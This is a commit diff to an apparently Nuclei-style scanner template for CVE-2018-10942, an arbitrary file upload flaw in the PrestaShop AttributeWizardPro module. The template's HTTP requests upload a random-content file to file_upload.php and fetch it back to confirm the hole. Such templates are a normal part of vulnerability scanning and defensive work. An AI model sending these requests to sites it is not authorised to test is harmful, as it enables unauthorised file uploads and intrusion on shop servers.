Update CVE-2018-10942.yaml

patch-1
Ritik Chaddha 2024-01-20 00:48:10 +05:30 committed by GitHub
parent ee0666ea50
commit 280b43a382
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 9 additions and 7 deletions

View File

@ -1,7 +1,7 @@
id: CVE-2018-10942
info:
name: Prestashop attributewizardpro module Arbitrary File Upload
name: Prestashop AttributeWizardPro Module - Arbitrary File Upload
author: MaStErChO
severity: critical
description: |
@ -9,10 +9,13 @@ info:
reference:
- https://webcache.googleusercontent.com/search?q=cache:y0TbS2LsRfoJ:www.vfocus.net/art/20160629/12773.html&hl=en&gl=en
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
- https://github.com/advisories/GHSA-3r9j-v4r2-2rj9
- https://nvd.nist.gov/vuln/detail/CVE-2018-10942
classification:
cve-id: CVE-2018-10942
metadata:
max-request: 2
tags: prestashop,attributewizardpro,intrusive,file-upload
variables:
filename: '{{rand_base(7, "abc")}}'
@ -21,9 +24,6 @@ http:
- |
POST /modules/{{paths}}/file_upload.php HTTP/1.1
Host: {{Hostname}}
Connection: keep-alive
Accept: */*
User-Agent: python-requests/2.27.1
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
--ba1f796d0aa2482e9c51c81ae6087818
@ -32,6 +32,7 @@ http:
{{randstr}}
--ba1f796d0aa2482e9c51c81ae6087818--
- |
GET /modules/{{paths}}/file_uploads/{{file}} HTTP/1.1
Host: {{Hostname}}
@ -46,17 +47,18 @@ http:
stop-at-first-match: true
host-redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- '{{filename}}'
- type: word
part: body_2
words:
- '{{randstr}}'
extractors:
- type: regex
name: file
@ -64,4 +66,4 @@ http:
internal: true
group: 1
regex:
- '(.*?)\|\|\|\|'
- '(.*?)\|\|\|\|'